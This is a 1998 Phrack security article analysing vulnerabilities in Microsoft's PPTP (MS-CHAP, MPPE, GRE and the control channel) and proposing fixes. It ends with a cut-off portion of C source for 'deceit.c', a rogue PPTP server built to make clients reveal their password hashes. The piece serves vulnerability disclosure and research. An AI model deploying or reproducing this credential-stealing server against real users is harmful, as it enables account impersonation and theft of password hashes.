---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 12 of 15 -------------------------[ The Crumbling Tunnel --------[ aleph1-[ The Crumbling Tunnel ]- < A Menagerie of PPTP Vulnerabilities > by aleph1@underground.org Point-to-Point Tunneling Protocol (PPTP) is a new networking technology that allows you to use the Internet as your own secure virtual private network (VPN). PPTP is integrated with the Remote Access Services (RAS) server which is built into Windows NT Server. With PPTP, your users can dial into a local ISP, or connect directly to the Internet, and access their network just as easily and securely as if they were at their desks. < http://www.microsoft.com/communications/pptp.htm > -[ p r e f a c e ]- This paper is a compendium of the discussions between myself and a Microsoft representative during October 1996 and May 1997 on several NT security mailing lists, the research done by Counterpane System and published in the paper "Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP)" by B. Schneier and P. Mudge on June 1998, and a new vulnerability I have recently discovered. -[ i n t r o d u c t i o n ]- As stated above, the Point-to-Point Tunneling Protocol is Microsoft's attempt at creating a Virtual Private Network (VPN) protocol. Given their past history in developing and implementing protocols, an analysis of PPTP for security vulnerabilities would certainly be an interesting endeavor. The following is such an analysis. Although this analysis is technical in nature, I will not spend the time describing exactly how each protocol works. I will assume you have done your homework and at least briefly glanced over the specifications for each of the protocols involved. PPTP is really a number of protocols cobbled together to make a whole. The players are: GRE - The Generic Encapsulation Protocol. The protocol is defined in RFC 1701 and RFC 1702. Microsoft has defined their own extensions. They call their modifications GRE v2. PPP - The Point-to-Point Protocol. The protocol is defined in RFC 1661. The protocol is used for the transmission of multi-protocol datagrams over point-to-point links. PPTP - PPTP uses GRE to tunnel PPP and adds a connections setup and control protocol over a TCP session. MS-CHAP - This is Microsoft's variant of the more common PPP CHAP authentication protocol. It is a challenge response authentication algorithm. It supplies the challenge used by MPPE (see below) to encrypt the session. It also has two sub-protocols for changing passwords. It is defined in the draft draft-ietf-pppext-mschap-00.txt. MPPE - Microsoft's Point-to-Point Encryption protocol. This is the protocol in charge of generating a session key and encrypting the session. It is defined in the drafts draft-ietf-pppext-mppe-00.txt and draft-ietf-pppext-mppe-01.txt. < PPTP in a nutshell > PPTP creates a connection setup and control channel using TCP to the PPTP server (Microsoft's RAS). Using this connection, PPTP establishes a new GRE tunnel which will carry PPP packets from the client to the server. The client will authenticate to the server via PPP's negotiation mechanism using MS-CHAP and will then encrypt all PPP data packets using MPPE. Enough acronyms for you? Lets get dirty. -[ P P T P ]- PPTP creates a connection setup and control channel to the server using TCP. Originally the TCP port used was 5678. Later on it was changed to 1723. This is the IANA assigned port number. The control connection is not authenticated in any way. It is easy for Mallory (the malicious interloper) to take over the connection via TCP hijacking techniques. She can then issue Stop Session Request commands. This will close the control channel and at the same time all active calls (tunnels) will be cleared. -[ G R E ]- PPP packets are encapsulated in GRE and tunneled on top of IP. GRE uses IP protocol number 47. GRE packets are similar in some respects to TCP segments. They both may carry a sequence and acknowledgement number. GRE also uses a sliding window to avoid congestion. This has some important implications. It means that if we want to spoof PPP packets encapsulated in GRE, we will desynchronize the GRE channel. A possible way around this is the use of the "S" flag in the GRE header. This flag tells the end point if the GRE packet has a sequence number. It is possible that a badly coded implementation will accept a GRE packet with data even if it does not have a sequence number. This is because in the original GRE standard the use of sequence numbers was optional. Furthermore, the specification does not mention how an end system should act if it receives a GRE packet with a duplicate sequence number. It may simply discard it and send another acknowledgement. This would mean we do not need to resynchronize GRE at all. The other end will send an acknowledgement for the packet we spoofed and the encapsulated PPP should not become desynchronized. As of this writing I haven't yet tested this possibility. It is also interesting to note that the original GRE specification has many options to do things like source routing which are left as implementation specific. If you open a hole in your firewall for GRE just so you can use PPTP you might be letting in more than you think. This area needs further investigation. -[ M S - C H A P ]- MS-CHAP is a challenge response protocol. The server send the client an 8 byte challenge. The client computes a response by encrypting the challenge with the NT one way hash and then with the LANMAN one way hash. < Dictionary Attack > Like most other challenge/response protocols, this one is vulnerable to a dictionary by such tools as L0phtcrack. As Schneier and Mudge describe in their paper, the LANMAN based response is easier to crack than it normally is because here it is divided into three pieces which are encrypted independently. This allows for a speed up in breaking the password. Please see their paper for a detailed explanation of the process. The PPTP Performance update for Windows NT 4.0 (PPTP2-FIX) stops the PPTP Windows NT client from sending the LANMAN hash based response if the client is configured to use 128-bit encryption. The same fix also allows the server to reject PPTP clients that attempt to authenticate using the LANMAN hash based response. < Stealing the Password > MS-CHAP has two sub-protocols for changing password. In version one the client encrypts the new and old hashes (NT and LANMAN) with the challenge the server sent over the wire. A passive attacker can simply decrypt the hashes and steal them. Version two encrypts the new hashes with the old hashes and encrypts the old hashes with the new hashes. Only the server, which knows the old hashes, will be able to decrypt the new hashes and use these to decrypt the old hashes and verify the user's identity. As I recently discovered, this feature of MS-CHAP can be used to steal the user's password hashes if Mallory can masquerade as the PPTP server. Several methods to masquerade as the server come into mind, including DNS hijacking and RIP spoofing. Once the unsuspecting user connects to Mallory's rogue server and attempts to authenticate she will return a ERROR_PASSWD_EXPIRE error to the user and tell the client to use the older version of the password change sub-protocol. The user will then be prompted by the PPTP client to enter his old and new password. The client will proceed to send the new and old password hashes, LANMAN and NT, encrypted with the challenge the rouge server sent. Now Mallory can use the hashes to logon into the real PPTP server and impersonate the user. The MS-CHAP draft deprecates the use of the change password version 1 protocol but Microsoft's implementation continue to support it. This vulnerability was verified using Windows NT's RAS PPTP client with the PPTP Performance Update (PPTP2-FIX) installed. At the end you will find some source code that implements a demonstration PPTP server that asks the user to change passwords using the older protocol and prints the stolen hashes on the screen. -[ M P P E ]- The are two drafts for MPPE. I'll discuss the earlier one first. MPPE uses RC4, a stream cipher, to encrypt the PPP datagrams. MPPE is negotiated as a compression protocol as part of PPP's Link Control Protocol negotiation. < Session Keys > MPPE currently supports 40 and 128 bit session keys, although more key lengths can be defined. The 40-bit session key is derived from the first 8 bytes of the LANMAN hash. The session key will be the same for all sessions until the user changes his password. The 128-bit session key is created by taking the first 16 bytes of the MD4 hash and the first 16 bytes of the NT hash, and then hashing them with the servers challenge. Microsoft claims that they hash the NT hash to protect it. I fail to see their point. The password hash, nor it's hash, ever go over the wire. Why they selected this algorithm remains a mystery. The new MPPE draft adds an option to use a 40-bit key derived from the NT hash. As Schneier and Mudge point out, it is misleading to say MPPE provides 128-bit, or even 40-bit, security. The 40-bit LANMAN based session key is derived from the password only, and as such will have a much lower entropy than a random 40-bit key. The 128-bit and 40-bit NT hash based session keys are derived from both the users password and the server's challenge. Depending on how good the server's random number generator is, the session key may have a much lower entropy than 128 or 40 bits. A study of how Microsoft's PPTP server, and NT in general, generates random numbers would be interesting. The only way to guarantee the full strength of the key is by generating it with a good RNG. < Attacking PPP > As Schneier and Mudge also point, out only PPP packets with protocol numbers between 0x21 and 0xFA are encrypted (in essence only data packets are encrypted). In contrast, the PPP Encryption Control Protocol (RFC 1968) encrypts all packets other than LCP packets after ECP is negotiated. This means Mallory can spoof Network Control Protocol packets with impunity. It also means she can obtain some useful information by simply sniffing the NCP packets. Things like whether the internal network uses IP, IPX, or NetBIOS, the internal IP address of the PPTP client, NetBIOS names, the IP address of internal WINS and DNS servers, the clients internal IPX node number and other things. Read the IPCP (RFC 13320, NBFCP (RFC 2097) and IPXCP (RFC 1552) specifications for more information. < Breaking RC4 > Stream ciphers, like RC4, are susceptible to attack if two or more plaintexts are encrypted with the same key. If you take two ciphertexts encrypted with the same key and xor them together you will obtain the two plaintexts xor'ed together. If you can make an educated guess as to the structure and contents of part of one of the plaintexts you will be able to obtain the corresponding plaintext in the other message. MPPE is susceptible to such an attack. As mentioned above the 40-bit session key is the same in each session. Mallory can passively monitor the network and collect many sessions, all encrypted with the same key that she can then attempt to break. The problem is compounded since she has learned things like the clients internal IP address and its NetBIOS name which will be in the encrypted packets by monitoring the NCP PPP packets. MPPE uses the same key in each direction. For each session at least two packets, one inbound and one outbound, will be encrypted with the same key. In this way, even traffic protected by the 128-bit unique session key can be attacked. MPPE being a sub-protocol of PPP, a datagram protocol, does not expect a reliable link. Instead it maintains a 12-bit coherency count that is increased for each packet to keep the encryption tables synchronized. Each time the low order byte of the coherency count equals 0xFF (every 256 packets) the session key is regenerated based on the original session key and the current session key. If MPPE ever sees a packet with a coherency that it is not expecting it sends a CCP Reset-Request packet to the other end. The other end, upon seeing this packet, will re-initialize the RC4 tables using the current session key. The next packet it sends will have the flushed bit set. This bit will indicate to the other end that it should re-initialize its own tables. In this way they become resynchronized. This mode of operation is called "stateful mode" in the new MPPE draft. What does this all mean to us? Well, it means we can force both ends of the connection to keep encrypting their packets with the same key until the low order sequence number reaches 0xFF. For example assume Alice and Bob have just set up the communication channel. They both have initialized their session keys and expect a packet with a coherency count of zero. Alice -> Bob Alice sends Bob a packet numbered zero encrypted with the cipher stream generated by the RC4 cipher and increments her sent coherency count to one. Bob receives the packet, decrypts it, and increments his receive coherency count to 1. Mallory (Bob) -> Alice Mallory sends Alice a spoofed (remember this is datagram protocol - assuming we don't desynchronize GRE) CCP Reset-Request packet. Alice immediately re-initializes her RC4 tables to their original state. Alice -> Bob Alice sends another packet to Bob. This packet will be encrypted with the same cipherstream as the last packet. The packet will also have the FLUSHED bit set. This will make Bob re-initialize its own RC4 tables. Mallory can continue to play this game up to a total of 256 times after which the session key will be changed. By this point Mallory will have collected 256 packets from Alice to Bob all encrypted with the same cipher stream. Furthermore, since Alice and Bob start with the same session key in each direction Mallory can play the same game in the opposite direction collecting another 256 packets encrypted with the same cipher stream as the ones going from Alice to Bob. The Apr 1998 version of the draft adds a "stateless mode" option (otherwise known as "historyless mode" in some Microsoft literature) to the negotiation packets. This option tells MPPE to change the session key after every packet and to ignore all this CCP Reset-Request and flushed bit business. This option was introduced to improve PPTP's performance. Although re-keying after each packet cuts the cipher performance by almost half, now PPTP no longer has to wait a whole round trip time to resynchronize. This, in effect improves the performance of PPTP and at the same time made the attack I describe above useless. This new stateless mode was incorporated in the PPTP Performance Update for Windows NT 4.0 (PPTP2-FIX). < Bit Flipping > Schneier and Mudge describe a bit flipping attack in their paper. Because of the properties of the RC4 cipher as used within MPPE an attacker can flip bits in the ciphertext that will be decrypted correctly by MPPE. In this way an attacker can modify encrypted packets while they are in transit. -[ i m p l e m e n t a t i o n b u g s ]- Schneier and Mudge describe a number of implementation bugs in Microsoft's PPTP control channel that crashed Windows NT with the Blue Screen of Death. Keving Wormington has found similar problem as posted some demonstration code to the BugTraq mailing list in Nov 1997. Microsoft claims to have fixed this or similar problems in their PPTP-FIX hotfix. Schneier and Mudge also found that the Windows 95 client does not zero fill its buffers and leaks information in its protocol packets. A bug in the PPTP server allows clients to remain connected while packets are transmitted in the clear if the encryption negotiation between the client and server fails. This problem is documented in Microsoft's Knowledge Base article Q177670. They claim to have fixed it in the PPTP-FIX hotfix. -[ f i x i n g t h i n g s ]- It is interesting to note that Microsoft has chosen to omit certain vulnerabilities from their response to the Counterpane paper. Let's summarize them here so they don't get confused: ---> The control connection is not authenticated. Microsoft claims they will enhance the control channel in future updates to authenticate each control packet. ---> The MS-CHAP LANMAN hash response is vulnerable to a dictionary attack ---| that can be speed up enormously. The PPTP Performance Update for Windows NT 4.0 has added the option to reject PPTP clients that attempt to use the LANMAN based response. It also stops the Windows NT PPTP client from sending the LANMAN based response when it is configured to require 128-bit encryption. This is of little comfort to non-US customers that cannot use the 128-bit version of the software. Microsoft claims to be testing a Windows 95 client update, possibly DUN 1.3, that will stop clients from sending the LANMAN response. The only way for Microsoft to completely get rid of the 40-bit LANMAN hash based key and support non-US customers is for them to implement the 40-bit NT hash based session key introduced in the second MPPE draft. ---> The MS-CHAP NT hash response is vulnerable to a dictionary attack. They must not use the password for authentication. Some sort of public key protocol would fix the problem. ---> A attacker can steal a users password hashes via the MS-CHAP password ---| change protocol version one. They update all the clients to stop responding to password change requests using version one of the protocol. ---> The 40-bit LANMAN hash based session key is the same across sessions. ---> MPPE does not provide true 128-bit or 40-bit security. Microsoft simply recommends that customers enforce a strong password policy. They should instead modify PPTP to generate truly random keys. ---> MPPE does not encrypt Network Control Protocol PPP packets. NCP packets should be encrypted. ---> MPPE uses the same key in both directions. Each direction must be started with a different key. ---> MPPE is vulnerable to a Reset-Request attack. Microsoft has fixed this problem in the latest PPTP draft by introducing the stateless mode. The PPTP Performance Update for Windows NT 4.0 implements this mode of operation. There is no solution for Windows 95 yet. This means that if you have Windows 95 PPTP clients you are still vulnerable. ---> MPPE is vulnerable to bit flipping attacks. They must add a MAC to each packet or use a cipher other than RC4 that does not exhibit this property. ---> There are a number of denial of service and other vulnerabilities ---| caused by implementation errors. Microsoft claims to have fixed some of this problems with PPTP-FIX and PPTP2-FIX. At least Microsoft should produce an Windows NT and Windows 95 PPTP update that does not use the same session keys in each direction, that does not support MS-CHAP password change protocol version one, does not send the send to LANMAN based response and supports the 40-bit NT hash based session key. -[ f u t u r e d i r e c t i o n s ]- Microsoft's VPN strategy appears to be moving away from PPTP and going to Layer Two Tunneling Protocol (L2TP) and IPsec. L2TP (currently an IETF draft) is a compromise between Cisco's Layer Two Forwarding (L2F), (a competing protocol) and PPTP. This is certain to take a long time and they will probably support PPTP for backwards compatibility. L2TP is somewhat similar to PPTP. L2TP uses UDP instead of GRE to tunnel the PPP packets. Connection setup and control packets are carried within UDP. The protocol provides for the authentication of the control session via a shared secret and a challenge/response exchange. It also provides the for the hiding of sensitive information, such as username and password, by encrypting it. Other than those simply security mechanism L2TP does not provide any security. To operate L2TP in a secure manner you must use it with either IPsec to provide authentication and confidentiality of all IP packets, or by using PPP layer security. If the former is chosen beware that the control packets can be spoofed after the authentication phase. If Microsoft decides to go with the later choice (possible because Windows 98 will not have support for IPsec), they are well advised not to use MPPE and MS-CHAP as this would make L2TP almost as vulnerable as PPTP. They would do better implementing ECP and some of the PPP Extensible Authentication Protocol (RFC 2284) options. For a discussion of L2TP security read the Security Considerations section of the L2TP draft. -[ m i s c e l l a n e o u s ]- The are a few interesting projects related to PPTP. -> Linux PPTP Masquerading < http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html > Here you will find patches to the Linux kernel to support masquerading of PPTP connections. -> PPTP Client for Linux < http://www.pdos.lcs.mit.edu/~cananian/Projects/PPTP/ > Here you will find a free PPTP client implementation for Linux that should be easy to port to other platforms. -[ s u m m a r y ]- PPTP is a layer two tunneling protocol designed by Microsoft and some other vendors. The protocol and in particular Microsoft's implementation have a number of vulnerabilities not completely fixed by the their latest software patches and draft revisions. PPTP will most likely stop most amateurs but by no means provides air tight security. If you have some serious security needs we recommend you look at some other solution. The Layer Two Tunneling Protocol being defined within the IETF evolved from PPTP and Cisco's Layer Two Forwarding. It has obviously benefited from the peer review it has had within the IETF as it looks like much better protocol than PPTP. If combined with IPsec, L2TP looks like a promising solution. -[ r e f e r e n c e s ]- Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol (PPTP) by B. Schneier and P. Mudge < http://www.counterpane.com/pptp.html > Generic Routing Encapsulation (GRE) (RFC 1701) < ftp://ds.internic.net/rfc/rfc1701.txt > Generic Routing Encapsulation over IPv4 networks (RFC 1702) < ftp://ds.internic.net/rfc/rfc1702.txt > Layer Two Tunneling Protocol "L2TP" (May 1996) < http://www.ietf.org/internet-drafts/draft-ietf-pppext-l2tp-11.txt > Microsoft Point-To-Point Encryption (MPPE) Protocol (March 1998) < http://www.apocalypse.org/pub/internet-drafts/draft-ietf-pppext-mppe-00.txt > Microsoft Point-To-Point Encryption (MPPE) Protocol (April 1998) < http://www.ietf.org/internet-drafts/draft-ietf-pppext-mppe-01.txt > Microsoft PPP CHAP Extensions < http://www.ietf.org/internet-drafts/draft-ietf-pppext-mschap-00.txt > Point-to-Point Tunneling Protocol < http://www.microsoft.com/communications/pptp.htm > Point-to-Point Tunneling Protocol (PPTP) Technical Specification (Feb, 22 1996) < http://hooah.com/workshop/prog/prog-gen/pptp.htm > Point-to-Point Tunneling Protocol--PPTP (Draft July 1997) < http://www.microsoft.com/communications/exes/draft-ietf-pppext-pptp-01.txt > PPTP and Implementation of Microsoft Virtual Private Networking < http://www.microsoft.com/communications/nrpptp.htm > PPTP Performance Update for Windows NT 4.0 Release Notes < http://support.microsoft.com/support/kb/articles/q167/0/40.asp > PPTP Security - An Update < http://www.microsoft.com/communications/pptpfinal.htm > RRAS Does Not Enforce String Encryption for DUN Clients < http://support.microsoft.com/support/kb/articles/q177/6/70.asp > STOP 0x0000000A in Raspptpe.sys on a Windows NT PPTP Server < http://support.microsoft.com/support/kb/articles/q179/1/07.asp > The Point-to-Point Protocol (PPP) (RFC 1661) < ftp://ftp.isi.edu/in-notes/rfc1661.txt > The PPP DES Encryption Protocol (DESE) (RFC 1969) < ftp://ftp.isi.edu/in-notes/rfc1969.txt > The PPP Encryption Control Protocol (ECP) (RFC 1968) < ftp://ftp.isi.edu/in-notes/rfc1968.txt > The PPP Internetwork Packet Exchange Control Protocol (IPXCP) 9rFC 1552) < ftp://ftp.isi.edu/in-notes/rfc1552.txt > The PPP NetBIOS Frames Control Protocol (NBFCP) (RFC 2097) < ftp://ftp.isi.edu/in-notes/rfc2097.txt > ---------------------8<------------CUT-HERE----------->8--------------------- <++> PPTP/deceit.c /* * deceit.c by Aleph One * * This program implements enough of the PPTP protocol to steal the * password hashes of users that connect to it by asking them to change * their password via the MS-CHAP password change protocol version 1. * * The GRE code, PPTP structures and defines were shamelessly stolen from * C. Scott Ananian's Linux PPTP client * implementation. * * This code has been tested to work againts Windows NT 4.0 with the * PPTP Performance Update. If the user has selected to use the same * username and password as the account they are currently logged in * but enter a different old password when the PPTP client password * change dialog box appears the client will send the hash for a null * string for both the old LANMAN hash and old NT hash. * * You must link this program against libdes. Email messages asking how * to do so will go to /dev/null. * * Define BROKEN_RAW_CONNECT if your system does not know how to handle * connect() on a raw socket. Normally if you use connect with a raw * socket you should only get from the socket IP packets with the * source address that you specified to connect(). Under HP-UX using * connect makes read never to return. By not using connect we * run the risk of confusing the GRE decapsulation process if we receive * GRE packets from more than one source at the same time. */ #include #include #include #include #include #include #include "des.h" #ifdef __hpux__ #define u_int8_t uint8_t #define u_int16_t uint16_t #define u_int32_t uint32_t #endif /* define these as appropiate for your architecture */ #define hton8(x) (x) #define ntoh8(x) (x) #define hton16(x) htons(x) #define ntoh16(x) ntohs(x) #define hton32(x) htonl(x) #define ntoh32(x) ntohl(x) #define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */ #define PPTP_PORT 1723 /* PPTP TCP port number */ #define PPTP_PROTO 47 /* PPTP IP protocol number */ #define PPTP_MESSAGE_CONTROL 1 #define PPTP_MESSAGE_MANAGE 2 #define PPTP_VERSION_STRING "1.00" #define PPTP_VERSION 0x100 #define PPTP_FIRMWARE_STRING "0.01" #define PPTP_FIRMWARE_VERSION 0x001 /* (Control Connection Management) */ #define PPTP_START_CTRL_CONN_RQST 1 #define PPTP_START_CTRL_CONN_RPLY 2 #define PPTP_STOP_CTRL_CONN_RQST 3 #define PPTP_STOP_CTRL_CONN_RPLY 4 #define PPTP_ECHO_RQST 5 #define PPTP_ECHO_RPLY 6 /* (Call Management) */ #define PPTP_OUT_CALL_RQST 7 #define PPTP_OUT_CALL_RPLY 8 #define PPTP_IN_CALL_RQST 9 #define PPTP_IN_CALL_RPLY 10 #define PPTP_IN_CALL_CONNECT 11 #define PPTP_CALL_CLEAR_RQST 12 #define PPTP_CALL_CLEAR_NTFY 13 /* (Error Reporting) */ #define PPTP_WAN_ERR_NTFY 14 /* (PPP Session Control) */ #define PPTP_SET_LINK_INFO 15 /* (Framing capabilities for msg sender) */ #define PPTP_FRAME_ASYNC 1 #define PPTP_FRAME_SYNC 2 #define PPTP_FRAME_ANY 3 /* (Bearer capabilities for msg sender) */ #define PPTP_BEARER_ANALOG 1 #define PPTP_BEARER_DIGITAL 2 #define PPTP_BEARER_ANY 3 struct pptp_header { u_int16_t length; /* message length in octets, including header */ u_int16_t pptp_type; /* PPTP message type. 1 for control message. */ u_int32_t magic; /* this should be PPTP_MAGIC. */ u_int16_t ctrl_type; /* Control message type (0-15) */ u_int16_t reserved0; /* reserved. MUST BE ZERO. */ }; struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */ struct pptp_header header; u_int16_t version; /* PPTP protocol version. = PPTP_VERSION */ u_int8_t result_code; /* these two fields should be zero on rqst msg*/ u_int8_t error_code; /* 0 unless result_code==2 (General Error) */ u_int32_t framing_cap; /* Framing capabilities */ u_int32_t bearer_cap; /* Bearer Capabilities */ u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */ u_int16_t firmware_rev; /* Firmware or Software Revision */ u_int8_t hostname[64]; /* Host Name (64 octets, zero terminated) */ u_int8_t vendor[64]; /* Vendor string (64 octets, zero term.) */ /* MS says that end of hostname/vendor fields should be filled with */ /* octets of value 0, but Win95 PPTP driver doesn't do this. */ }; struct pptp_out_call_rqst { /* for control message type 7 */ struct pptp_header header; u_int16_t call_id; /* Call ID (unique id used to multiplex data) */ u_int16_t call_sernum; /* Call Serial Number (used for logging) */ u_int32_t bps_min; /* Minimum BPS (lowest acceptable line speed) */ u_int32_t bps_max; /* Maximum BPS (highest acceptable line speed) */ u_int32_t bearer; /* Bearer type */ u_int32_t framing; /* Framing type */ u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */ u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */ u_int16_t phone_len; /* Phone Number Length (num. of valid digits) */ u_int16_t reserved1; /* MUST BE ZERO */ u_int8_t phone_num[64]; /* Phone Number (64 octets, null term.) */ u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.) */ }; struct pptp_out_call_rply { /* for control message type 8 */ struct pptp_header header; u_int16_t call_id; /* Call ID (used to multiplex data over tunnel)*/ u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/ u_int8_t result_code; /* Result Code (1 is no errors) */ u_int8_t error_code; /* Error Code (=0 unless result_code==2) */ u_int16_t cause_code; /* Cause Code (addt'l failure information) */ u_int32_t speed; /* Connect Speed (in BPS) */ u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */ u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */ u_int32_t channel; /* Physical Channel ID (for logging) */ }; struct pptp_set_link_info { /* for control message type 15 */ struct pptp_header header; u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */ u_int16_t reserved1; /* MUST BE ZERO */ u_int32_t send_accm; /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/ u_int32_t recv_accm; /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/ }; #define PPTP_GRE_PROTO 0x880B #define PPTP_GRE_VER 0x1 #define PPTP_GRE_FLAG_C 0x80 #define PPTP_GRE_FLAG_R 0x40 #define PPTP_GRE_FLAG_K 0x20 #define PPTP_GRE_FLAG_S 0x10 #define PPTP_GRE_FLAG_A 0x80 #define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C) #define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R) #define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K) #define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S) #define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A) struct pptp_gre_header { u_int8_t flags; /* bitfield */ u_int8_t ver; /* should be PPTP_GRE_VER (enhanced GRE) */ u_int16_t protocol; /* should be PPTP_GRE_PROTO (ppp-encaps) */ u_int16_t payload_len; /* size of ppp payload, not inc. gre header */ u_int16_t call_id; /* peer's call_id for this session */ u_int32_t seq; /* sequence number. Present if S==1 */ u_int32_t ack; /* seq number of highest packet recieved by */ /* sender in this session */ }; #define PACKET_MAX 8196 static u_int32_t ack_sent, ack_recv; static u_int32_t seq_sent, seq_recv; static u_int16_t pptp_gre_call_id; #define PPP_ADDRESS 0xFF #define PPP_CONTROL 0x03 /* PPP Protocols */ #define PPP_PROTO_LCP 0xc021 #define PPP_PROTO_CHAP 0xc223 /* LCP Codes */ #define PPP_LCP_CODE_CONF_RQST 1 #define PPP_LCP_CODE_CONF_ACK 2 #define PPP_LCP_CODE_IDENT 12 /* LCP Config Options */ #define PPP_LCP_CONFIG_OPT_AUTH 3 #define PPP_LCP_CONFIG_OPT_MAGIC 5 #define PPP_LCP_CONFIG_OPT_PFC 7 #define PPP_LCP_CONFIG_OPT_ACFC 8 /* Auth Algorithms */ #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP 0x80 /* CHAP Codes */ #define PPP_CHAP_CODE_CHALLENGE 1 #define PPP_CHAP_CODE_RESPONCE 2 #define PPP_CHAP_CODE_SUCESS 3 #define PPP_CHAP_CODE_FAILURE 4 #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1 5 #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2 6 #define PPP_CHAP_CHALLENGE_SIZE 8 #define PPP_CHAP_RESPONCE_SIZE 49 #define MSCHAP_ERROR "E=648 R=0" struct ppp_header { u_int8_t address; u_int8_t control; u_int16_t proto; }; struct ppp_lcp_chap_header { u_int8_t code; u_int8_t ident; u_int16_t length; }; struct ppp_lcp_packet { struct ppp_header ppp; struct ppp_lcp_chap_header lcp; }; struct ppp_lcp_chap_auth_option { u_int8_t type; u_int8_t length; u_int16_t auth_proto; u_int8_t algorithm; }; struct ppp_lcp_magic_option { u_int8_t type; u_int8_t length; u_int32_t magic; }; struct ppp_lcp_pfc_option { u_int8_t type; u_int8_t length; }; struct ppp_lcp_acfc_option { u_int8_t type; u_int8_t length; }; struct ppp_chap_challenge { u_int8_t size; union { unsigned char challenge[8]; struct { unsigned char lanman[24]; unsigned char nt[24]; u_int8_t flag; } responce; } value; /* name */ }; struct ppp_mschap_change_password { char old_lanman[16]; char new_lanman[16]; char old_nt[16]; char new_nt[16]; u_int16_t pass_length; u_int16_t flags; }; #define ppp_chap_responce ppp_chap_challenge void net_init(); void getjiggywithit(); void handleit(struct sockaddr_in *); void send_start_ctrl_conn_rply(); void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *); int decaps_gre (int (*cb)(void *pack, unsigned len)); int encaps_gre (void *pack, unsigned len); int do_ppp(void *pack, unsigned len); void do_gre(struct sockaddr_in *); void send_lcp_conf_rply(void *); void send_lcp_conf_rqst(); void send_chap_challenge(); void send_chap_failure(); void print_challenge_responce(void *); void paydirt(void *); char *n; int sd, rsd, pid; void main(int argc, char **argv) { n = argv[0]; net_init(); getjiggywithit(); } void net_init() { int yes = 1; struct sockaddr_in sa; if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); } if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0) { perror(n); exit(1); } bzero((char *) &sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(PPTP_PORT); sa.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); } if (listen(sd, 5) < 0) { perror(n); exit(1); } } void getjiggywithit() { struct sockaddr_in sa; int sucker, size; size = sizeof(sa); if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1) { perror(n); exit(1); } close(sd); sd = sucker; handleit(&sa); exit(0); } void handleit(struct sockaddr_in *sa) { union { struct pptp_header h; unsigned char buffer[8196]; } p; int hlen, len, type; hlen = sizeof(struct pptp_header); for(;;) { len = read(sd, p.buffer, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short read.\n"); exit(1); } len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen); if (len == -1) { perror(n); exit(1); } if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);} if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); } if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);} type = ntoh16(p.h.ctrl_type); switch(type) { /* we got a live one */ case PPTP_START_CTRL_CONN_RQST: send_start_ctrl_conn_rply(); break; case PPTP_OUT_CALL_RQST: send_out_call_rply((struct pptp_out_call_rqst *)&p, sa); break; case PPTP_SET_LINK_INFO: printf("<- PPTP Set Link Info\n"); break; default: printf("<- PPTP unknown packet: %d\n", type); } } } void send_start_ctrl_conn_rply() { struct pptp_start_ctrl_conn p; int len, hlen; hlen = sizeof(struct pptp_start_ctrl_conn); printf("<- PPTP Start Control Connection Request\n"); printf("-> PPTP Start Control Connection Reply\n"); bzero((char *)&p, hlen); p.header.length = hton16(hlen); p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC); p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY); p.version = hton16(PPTP_VERSION); p.result_code = 1; p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */ p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */ bcopy("owned", p.hostname, 5); bcopy("r00t", p.vendor, 4); len = write(sd, &p, hlen); if (len == -1) { perror(n); exit(1); } if (len != hlen) { printf("Short write.\n"); exit(1); } } static gre = 0; void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa) { struct pptp_out_call_rply p; int len, hlen; hlen = sizeof(struct pptp_out_call_rply); printf("<- PPTP Outgoing Call Request\n"); printf("-> PPTP Outgoing Call Reply\n"); pptp_gre_call_id = r->call_id; /* Start a process to handle the GRE/PPP packets */ if (!gre) { gre = 1; switch((pid = fork())) { case -1: perror(n); exit(1); case 0: close(sd); do_gre(sa); exit(1); /* not reached */ } } bzero((char *)&p, hlen); p.header.length = hton16(hlen); p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL); p.header.magic = hton32(PPTP_MAGIC); p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY); p.call_id = hton16(31337); 